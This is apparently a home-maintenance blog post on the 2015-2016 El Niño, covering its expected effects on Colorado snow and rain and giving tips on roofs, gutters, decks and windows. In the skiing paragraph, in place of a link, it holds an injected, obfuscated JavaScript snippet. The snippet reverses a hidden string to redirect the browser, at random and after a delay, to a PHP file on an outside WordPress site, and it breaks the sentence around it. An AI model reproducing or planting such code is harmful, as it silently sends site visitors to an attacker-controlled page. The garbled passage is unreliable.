A woman holds a red umbrella on a fishing pier during a storm.The weather experts are saying that 2016 could end up being one of the strongest El Niño years on record, with major weather changes and extreme events in store for a large swath of the United States.

And there’s very little we can do about it, a fact that’s generating a fair amount of anxiety.

Batten Down the Hatches, El Niño Is Heading Your Way

El Niño Is Ramping Up

El Niño Storms Threaten Drought-Stricken California

For homeowners, these headlines can be troubling. It’s one thing to maintain your home in the face of typical yearly weather fluctuations, but how should we prepare for the stronger, more intense weather that comes as part of the El Niño pattern?

What is an El Niño Year?

The weather pattern that’s typically referred to as “El Niño” results when the trade winds over the Pacific Ocean begin to weaken, allowing warmer water to gather in the central and eastern Pacific. This leads to increased thunderstorm activity further to the east, allowing more time for storms to build up before hitting land on the west coast of North America.

In non-El Niño years, wind patterns blow in from the east and warm up the western Pacific. This results in comparatively “smaller” storms and less volatile weather patterns in the U.S.

The flipside to this trend is the weather pattern known as “La Niña”—The Little Girl in Spanish—in which below-average sea surface temperatures in the east-central Pacific cause winter temperatures that are warmer than normal in the Southeastern U.S. and cooler than normal in the Northwest. As such, the global climate impacts of La Nina years are roughly the opposite of El Niño years.

El Niño years typically occur every three to five years.

What does all of this mean for Colorado?

An El Niño year typically does not radically alter Colorado’s statewide weather outlook, but it does shift where we see extra precipitation, especially in the winter and spring. As a general rule, the northern parts of the state’s High Country see less precipitation while the southern part of the state see above average snowfall in this scenario.

But this year might be different. The 2015-2016 pattern is so strong that some experts are even calling it a “Super El Niño,” and its effects might reach well beyond the boundaries of a normal El Niño year. 

The skiing will be great: Snow forecasts are looking $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-snowboarding-165242315.html” target=”_blank”>very favorable for skiers and snowboarders in the southern third of the Western U.S., including the Colorado Rockies. If the pattern is strong enough, it could lead to heavy snow statewide.

The Front Range will get hit hard: One El Niño-related pattern that tends to hold true in all El Niño years is that the Front Range, and Denver in particular, sees big snowstorms. These typically occurs in the late fall and spring, when there is more moisture available in the atmosphere, but Denver residents should expect to see more snow than usual in 2016 and a season that lasts longer than they’re used to.

Spring will be wet: Even as the snow itself tapers off, the El Niño pattern’s impact on Front Range weather won’t be over. Storms are expected to continue into the spring and summer, increasing the amount of rain that falls on the Front Range and leading to a generally wetter year than average.

Homeowners need to plan ahead 

As with any weather pattern, Colorado homeowners need to be prepared to deal with the possibilities of bigger, stronger storms in the El Niño year of 2016.

Check your roof for leaks and make sure that your gutters are clear and flowing freely in order to handle the extra precipitation.

Also take care of your landscaping and any outdoor installations (e.g. your deck) to make sure it’s protected in the case of heavy weather. If you’re able, it’s worth adding extra polyurethane or deck sealant to prevent mildew from forming in the wood.

Additionally, check for leaks around window and doors. Anywhere that water might find entrance to your home.